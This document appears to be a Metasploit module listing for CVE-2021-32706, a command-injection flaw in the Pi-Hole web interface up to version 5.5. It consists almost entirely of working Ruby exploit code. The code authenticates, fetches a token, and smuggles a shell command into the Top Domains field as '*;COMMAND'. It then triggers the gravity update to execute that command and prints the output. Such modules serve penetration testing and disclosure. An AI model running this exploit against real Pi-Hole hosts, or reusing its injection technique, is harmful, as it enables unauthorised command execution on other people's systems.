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Pi-Hole Top Domains API Authenticated Exec
This exploits a command execution in Pi-Hole Web Interface less than or equal to 5.5. The Settings > API/Web inetrace page contains the field Top Domains/Top Advertisers which is validated by a regex which does not properly filter system commands, which can then be executed by calling the gravity functionality. However, the regex only allows a-z, 0-9, _.
### This module requires Metasploit: https://metasploit.com/download# Current source: https://github.com/rapid7/metasploit-framework##class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient include Msf::Exploit::Remote::HTTP::Pihole def initialize(info = {}) super( update_info( info, 'Name' => 'Pi-Hole Top Domains API Authenticated Exec', 'Description' => %q{ This exploits a command execution in Pi-Hole Web Interface <= 5.5. The Settings > API/Web inetrace page contains the field Top Domains/Top Advertisers which is validated by a regex which does not properly filter system commands, which can then be executed by calling the gravity functionality. However, the regex only allows a-z, 0-9, _. }, 'License' => MSF_LICENSE, 'Author' => [ 'h00die', # msf module 'SchneiderSec' # original PoC, discovery ], 'References' => [ ['URL', 'https://github.com/pi-hole/AdminLTE/security/advisories/GHSA-5cm9-6p3m-v259'], ['CVE', '2021-32706'] ], 'Targets' => [ [ 'Automatic Target', {}] ], 'DisclosureDate' => '2021-08-04', 'Privileged' => true, 'Platform' => ['php'], 'Arch' => ARCH_PHP, 'DefaultTarget' => 0, 'Notes' => { 'Stability' => [CRASH_SAFE], 'Reliability' => [], 'SideEffects' => [IOC_IN_LOGS, CONFIG_CHANGES, ARTIFACTS_ON_DISK] } ) ) register_options( [ Opt::RPORT(80), OptString.new('TARGETURI', [ true, 'The URI of the Pi-Hole Website', '/']), OptString.new('COMMAND', [ true, 'The command to execute. Only 0-9, a-z, _ are allowed.', 'pwd']), ] ) end def check begin _version, web_version, _ftl = get_versions if web_version.nil? print_error("#{peer} - Could not connect to web service - no response or non-200 HTTP code") return Exploit::CheckCode::Unknown end if web_version && Rex::Version.new(web_version) <= Rex::Version.new('5.6') vprint_good("Web Interface Version Detected: #{web_version}") return Exploit::CheckCode::Appears else vprint_bad("Web Interface Version Detected: #{web_version}") return Exploit::CheckCode::Safe end rescue ::Rex::ConnectionError print_error("#{peer} - Could not connect to the web service") return Exploit::CheckCode::Unknown end Exploit::CheckCode::Safe end def validate_command # https://github.com/pi-hole/AdminLTE/blob/v5.3.1/scripts/pi-hole/php/savesettings.php#L71 unless /^((\*.)?[_a-z\d](-*[_a-z\d])*)(\.([_a-z\d](-*[a-z\d])*))*(\.([_a-z\d])*)*$/i =~ datastore['COMMAND'] fail_with(Failure::BadConfig, 'COMMAND invalid. only _, a-z, 0-9 are allowed.') end end def run validate_command if check != Exploit::CheckCode::Appears fail_with(Failure::NotVulnerable, 'Target is not vulnerable') end # check if we need a login res = send_request_cgi( 'uri' => normalize_uri(target_uri.path, 'admin', 'settings.php'), 'vars_get' => { 'tab' => 'api' }, 'keep_cookies' => true ) # check if we got hit by a login prompt if res && res.body.include?('Sign in to start your session') res = login(datastore['PASSWORD']) fail_with(Failure::BadConfig, 'Incorrect Password') if res.nil? end token = get_token('api') if token.nil? fail_with(Failure::UnexpectedReply, 'Unable to find token') end print_status("Using token: #{token}") print_status('Sending payload request') res = send_request_cgi( 'uri' => normalize_uri(target_uri.path, 'admin', 'settings.php'), 'vars_get' => { 'tab' => 'api' }, 'vars_post' => { 'domains' => "*;#{datastore['COMMAND']}", 'clients' => '', 'querylog-permitted' => 'on', 'querylog-blocked' => 'on', 'field' => 'API', 'token' => token }, 'keep_cookies' => true, 'method' => 'POST' ) fail_with(Failure::UnexpectedReply, 'Unable to save settings') unless res && res.body.include?('The API settings have been updated') res = update_gravity fail_with(Failure::UnexpectedReply, 'Unable to update gravity') unless res && res.code == 200 # first line after our output should be: data: [i] Neutrino emissions detected... output = res.body.split(' [i] ')[0] # remove beginning of line with data on it output = output.gsub(/^data:/, '') # removing last line since its empty output = output.split[0..] print_good(output.join("\n")) endend